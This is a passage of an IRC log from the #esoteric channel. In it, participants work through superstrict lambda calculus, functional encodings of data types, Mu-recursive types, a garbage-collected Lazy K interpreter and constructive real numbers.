PRIVMSG #esoteric :? < 1268501592 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Are you drunk? < 1268501803 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268501840 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I recently tried switching to Digsby < 1268501848 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan said something about superstrict languages where (\x. f x) evaluates f. < 1268501852 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's interesting. < 1268501855 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268501867 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yet to form a solid opinion on whether it's better. So far, still hoping that its Facebook Chat support is better than Pidgins < 1268501877 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Digsby is spyware, iirc. < 1268501881 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or at least obnoxiously social. < 1268501903 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Which one? I mind the former, the latter can be disabled as far as I've seen < 1268501927 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't know. < 1268501952 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm... (\f. (\x. f (x x)) (\x. f (x x)) would evaluate (x x). < 1268501959 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So even the lambda-expression of Y would diverge. < 1268501966 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is it TC, I wonder? < 1268501973 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(\x. x x) is OK < 1268502008 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268502341 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yay, I implemented it and Y does indeed diverge. < 1268502517 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268502526 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :using divergence to check if your code works < 1268502547 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quite. < 1268502664 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm.. which language? < 1268502677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lambda calculus? < 1268503033 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268503037 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Superstrict lambda calculus. < 1268503050 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Where, in (\x.E), you evaluate E as far as you can without relying on x's value. < 1268503060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So (\x. f x) evaluates f before it's even applied. < 1268503135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Main> eval (App succL zeroL) < 1268503136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\a. \b. (a ((*** Exception: Prelude.(!!): index too large < 1268503140 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dammit. < 1268503142 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The verifier should have caught that... < 1268503154 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: That's pretty damned crazy right there. < 1268503196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ugh, I have some sort of horrible bug. < 1268503202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(You could argue the entire thing is a horrible bug.) < 1268503306 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :At some point I used Xircon for Windows-irc, but the development of that died at 1.0b4, I think. It had a TCL scripting engine, that was at least nicer than mirc-scripting. But that was years ago; not sure what people use nowadays. < 1268503450 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea why this isn't working XD < 1268503467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries booleans instead as a test
< 1268503604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have serious variable issues. < 1268503759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah... < 1268503766 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Lam ((Var 1 :$ Lam (Lam (Var 1))) :$ Var 1) < 1268503770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not demoting my variables sufficiently < 1268504050 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise shut up!!!!!!!! < 1268504085 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :read the (first few pages of the) paper < 1268504109 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268504121 0 :alise_!~alise@genld-216-207.t-mobile.co.uk JOIN :#esoteric < 1268504183 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ported the "official" Lazy K interpreter to use Boehm GC...
< 1268504198 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Quite an accomplishment. < 1268504210 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The reference counting scheme it used leaked memory. < 1268504215 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So I fixed it. < 1268504228 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I've also made the thing compile on modern C++ compilers. :P < 1268504240 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It used reference counting? < 1268504242 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Lollercopters < 1268504244 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268504257 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It leaked a metric fuckton of memory. And the author had no idea why. < 1268504263 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :WHat's wrong with reference counting? < 1268504276 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Leaks memory with cyclic datastructures. < 1268504282 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So... the issue is that when I apply a lambda, and it results in a lambda, I need to decrement the Vars in it. < 1268504288 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1268504292 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Bleh. < 1268504297 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Not interesting enough. < 1268504305 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, is somewhat overhead-heavy if done naively. < 1268504330 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay im here < 1268504395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It would be interesting to have a language where all expressions result in infinite structures. < 1268504404 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Then reference counting would be /useless/ :) < 1268504442 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Most of the work in making the interpreter GC'd was removing the reference counting and the inefficient pool allocator. < 1268504468 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Adding the GC-ness was... "class Expr : public gc {" < 1268504633 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`calc 1 metric fuckton in US fucktons < 1268504642 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :`calc 1000000000000000000000000000000000000000000000000 < 1268504645 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :twitterbits.com/wp-content/plugins/as-pdf/generate.php?post=11 - [21]Similar < 1268504646 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :yodellingllama.com/?p=1183 - [16]Cached - [17]Similar < 1268504741 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Y'know, I'm starting to think that metric fucktons aren't even a real unit! < 1268504856 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hahah. < 1268504908 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :http://sprunge.us/OLIF It's a Lazy K interpreter that doesn't leak memory! < 1268504931 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Is it a bird? Is it a plain? No... < 1268504935 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(This is Jeopardy, right?) < 1268504942 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*plane >_< < 1268505029 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(note: still more complicated than it should be. C++: because iostreams suck so much we write our own stream class for everything) < 1268505085 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268505258 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders whether he's invented the Church, Mogensen-Scott or an entire, unnamed other encoding.
< 1268505266 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(The latter is unlikely.) < 1268505331 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Mogensen-Scott is best < 1268505335 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268505364 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :How do you encode Nil | Cons ? List in Mogensen-Scott? I have: < 1268505368 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Nil = \f g x. f x < 1268505368 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Cons = \head tail f g x. tail f g (g head x) < 1268505370 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Z | S Nat: < 1268505370 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Z = \f g x. f x < 1268505370 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :S = \nat f g x. nat f g (g x) < 1268505371 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A ? | B ?: < 1268505372 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A = \val f g x. f val x < 1268505372 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :B = \val f g x. g val x < 1268505389 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Are there any people acquainted with the Linux kernel here? < 1268505390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and finally, A | B: < 1268505390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A = \f g x. f x < 1268505390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :B = \f g x. g x < 1268505417 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So for a given constructor C, you take n functions where there are n constructors, and each function is of the type (... -> x) for the same x for all of them and ... being the arguments to the constructor. < 1268505432 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If there is no recursion in the type, then you simply call the appropriate function. < 1268505433 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise weird < 1268505452 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise, you invoke your substructure with the same functions, but with the value being substituted for what you'd normally do without the recursion. < 1268505476 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I may have the function types wrong; forgot about the \x. bit. < 1268505476 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I think it's the most natural encoding. < 1268505480 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Case analysis is built-in as the distinct functions. < 1268505491 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Decomposition of the value also is built-in to each function's argument. < 1268505502 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And it transforms type recursion into value recursion. < 1268505523 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So the relevant function gets the /already decomposed, according to your will/ substructure as its argument. < 1268505561 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: and you know what? < 1268505564 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> :t cons (1::Integer) (cons 2 nil) < 1268505564 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons (1::Integer) (cons 2 nil) < 1268505564 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : :: (t21 -> t2) -> (Integer -> t21 -> t21) -> t21 -> t2 < 1268505568 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It encodes types as their fold. < 1268505571 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think their left fold. < 1268505576 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Maybe right-fold would be more elegant. < 1268505628 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So succ would be \nat f g x. g (nat f g x) < 1268505643 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons would be \hd tl f g x. g head (tail f g x) < 1268505648 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: is that morgonson? < 1268505670 0 :sebbu2!~sebbu@ADijon-152-1-37-180.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268505670 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268505678 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :What is morgonson then? < 1268505735 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268505735 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1268505944 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to transform a tree into it
< 1268506003 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Leaf = \val f g x. f val x < 1268506004 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Branch = \left right f g x. left f g (g (right f g x) x) < 1268506004 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or < 1268506004 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Branch = \left right f g x. g (left f g x) (right f g x) < 1268506004 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1268506015 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think the latter is better. < 1268506020 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise did you see my post that uses lambda calculus < 1268506030 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No; link. < 1268506044 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :on the blog < 1268506066 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION attempts to google to find it again
< 1268506152 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268506173 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :church numerals are like this but with f=id < 1268506175 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is equivalent < 1268506190 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and church numerals are A/B without the extra x (equivalent under n) < 1268506218 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :actually < 1268506222 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :false = \g x. x < 1268506226 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :true = \g x. g x < 1268506230 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so false = \a b. b < 1268506233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :true = \a. a < 1268506236 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268506255 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait i can't have f = id < 1268506257 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A = \val f g x. f val x < 1268506257 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :B = \val f g x. g val x < 1268506306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> :t branch < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :branch < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : :: (t -> (t2 -> t3 -> t4) -> t1 -> t2) < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : -> (t -> (t2 -> t3 -> t4) -> t1 -> t3) < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : -> t < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : -> (t2 -> t3 -> t4) < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : -> t1 < 1268506307 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : -> t4 < 1268506308 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obviously < 1268506605 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm it should be f x val < 1268506609 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not f val x < 1268506666 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Cons = \head tail f g x. g (tail f g x) head < 1268506670 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Er, no, that's not really right. < 1268506900 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I thought of a really nice property of musing Mu for recursive datatypes. < 1268506934 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :musings on Mu -- sounds like a blog post < 1268507029 0 :olsner_!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1268507052 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: hehe < 1268507099 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I often have the issue that I have two types, e.g. expression and pattern, where pattern is like expression but with one extra constructor like Free String < 1268507102 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so I have to do < 1268507104 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Core = ... < 1268507112 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(oh and expression has some extra thing too) < 1268507116 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Expr = Core Core | ... < 1268507120 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Pat = Core Core | ... < 1268507121 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :except < 1268507124 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what if Core is recursive? < 1268507132 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Core self = ... < 1268507142 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Expr = Core (Core Expr) | ... < 1268507147 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :data Pat = Core (Core Pat) | ... < 1268507149 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but < 1268507151 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if Core was defined with mu < 1268507156 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then it'd be Mu F < 1268507162 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so we'd just do F (Mu Expr) instead! < 1268507183 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so Mu actually lets you easily express recursion-substitution of data types < 1268507324 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think we need some way to extract the F from a Mu F < 1268507356 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait, that's easy < 1268507358 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :extract (Mu F) = F < 1268507362 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268507366 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that requires pattern matching on Mu :P < 1268507379 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Are you just talking to yourself? < 1268507406 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :He's talking to whoever is listening. < 1268507414 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, fax would ideally respond. < 1268507429 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What is it you're talking about? < 1268507433 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I missed the start. < 1268507496 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Using Mu-recursive types to encode recursion-substitution of data types. < 1268507537 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268507611 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :heh () becomes id in my encoding < 1268507650 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :How does that work? < 1268507697 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/868169.txt?key=mmgxkfgi4bnnt1ix3u3jqg < 1268507725 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Haskell? < 1268507737 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268507738 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, for the data types (with ? for polymorphism) < 1268507745 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The expressions, lambda-calculus < 1268507752 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The format is data Foo = ..., in my representation is ... < 1268507793 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So a constructor C for a type T with N constructors, C takes N functions of the arity of the corresponding constructor, plus one (of the same type for every function, but polymorphic), and returning something of the same type for every function (but polymorphic). < 1268507808 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268507817 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and a value of the type of the first argument of each function. < 1268507825 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If the data type is not recursive, then the corresponding function is simply called with the value given, plus the constituents of the constructor. < 1268507826 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :*quails* < 1268507840 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If it is recursive the value given is substituted for the value of calling the substructure with the same functions, and the value. < 1268507850 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(This is repeated for each recursive element, as different arguments to the function.) < 1268507858 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Thus: < 1268507860 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Leaf = \val f g x. f val x < 1268507861 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Branch = \left right f g x. g (left f g x) (right f g x) < 1268507875 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I was away having dinner < 1268507903 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: That is NOT ALLOWED. < 1268507908 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;( < 1268507912 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I didn't know < 1268507924 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Real Programmers eat the dust in the air. < 1268507926 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268507935 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: well READ WHAT I SAID :| < 1268507938 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi oerjan! < 1268507940 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268507943 0 :MizardX-!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268507945 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hi fax < 1268507949 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise encoding data into lambda calculus is boring though < 1268507952 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also alise_ < 1268507961 0 :MizardX-!~MizardX@81-237-250-33-no147.tbcn.telia.com JOIN :#esoteric < 1268507963 0 :MizardX-!unknown@unknown.invalid QUIT :Changing host < 1268507963 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268507974 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hey < 1268507983 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so where does calulus happen? < 1268507993 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :real numbers, finite numbers, data < 1268507995 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what else ? < 1268508010 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Calculus :: * -> BranchOfMathematics < 1268508018 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: What is there that is not data? < 1268508018 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :um < 1268508020 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Wait, there's and implementation of real numbers on the lambda calculus now? < 1268508023 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Function calculus perhaps? < 1268508024 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't mean lambda calculus < 1268508028 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :s/and/an/ < 1268508034 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I mean like "derivatives" and "integrals" < 1268508038 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: The computable reals are expressible in just about any language. < 1268508045 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :on data I mean specifiically: d for data < 1268508046 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well-typed at compile time in dependent languages. < 1268508054 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :please just understand what I mean :| < 1268508071 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :f : PosRational -> Rational is a computable real number iff for all positive rationals e1, e2, abs (f e1 - f e2) < e1 + e2 < 1268508090 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah, for computable reals you don't even need recursion < 1268508093 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268508096 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"recursion" < 1268508104 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :+general < 1268508130 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah if you can do rationals and semi-recursive functions < 1268508132 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then you can do computable reals < 1268508133 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268508140 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1268508144 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you could even model them in brainfuck if you came up with a function representation < 1268508156 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I should implement some reals, but I'd need quotient field..... < 1268508164 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and I have implemented it but not proved it a field yet < 1268508201 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*<= < 1268508203 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not < < 1268508204 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I always make that mistake < 1268508233 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise ill tell you the defintion from my bok < 1268508340 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :bok < 1268508379 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, < 1268508396 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :really what you need is a cauchy sequence that's all :P < 1268508443 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Serious analysis begins with the real numbers. A /real number/ is a sequence (x_n)_(n>=1) of rational numbers that is /regular/, in the sense that forall m >= 1, forall n >= 1, |x_m - x_n| <= m^-1 + n^-1 < 1268508495 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :The standard equality on the class R of real numbers is defined so that (x_n) =_R (y_n) if and only if forall n >= 1, |x_n - y_n| <= 2n^-1 < 1268508497 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah but if you have an infinite sequence... well that's a function < 1268508513 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and it's nicer to use if you have the indices be Q+s < 1268508526 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :This relation is clearly reflexive and transitive; its transitivity is a consequence of 6.1 < 1268508530 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also equality on the computable reals doesn't always terminate if they're nonequal which sucks < 1268508535 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :imo, using === is better < 1268508543 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then you just have to prove they're equal or not :)))) < 1268508557 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah equality is not decidible on R, that's a classical statement < 1268508570 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that =_R I gave above is a proposition < 1268508588 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268508592 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268508601 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise want to show you something really cool I saw today < 1268508604 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i know it's well known < 1268508607 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but it does so suck < 1268508615 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what sucks?? < 1268508627 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: um if they're nonequal obviously it terminates, it's the equal case that is problematic < 1268508627 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, read this http://coq.inria.fr/stdlib/Coq.Reals.Rlogic.html < 1268508628 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :a NINJA??? < 1268508640 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o_o lol < 1268508823 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: er right < 1268508848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :09:39:12 Hmm... (\f. (\x. f (x x)) (\x. f (x x)) would evaluate (x x). < 1268508848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :09:39:19 So even the lambda-expression of Y would diverge. < 1268508863 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"transClause :: ..." ;; Mr, now Mrs Clause < 1268508865 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well but that expression is unusable in a (just) strict language anyway < 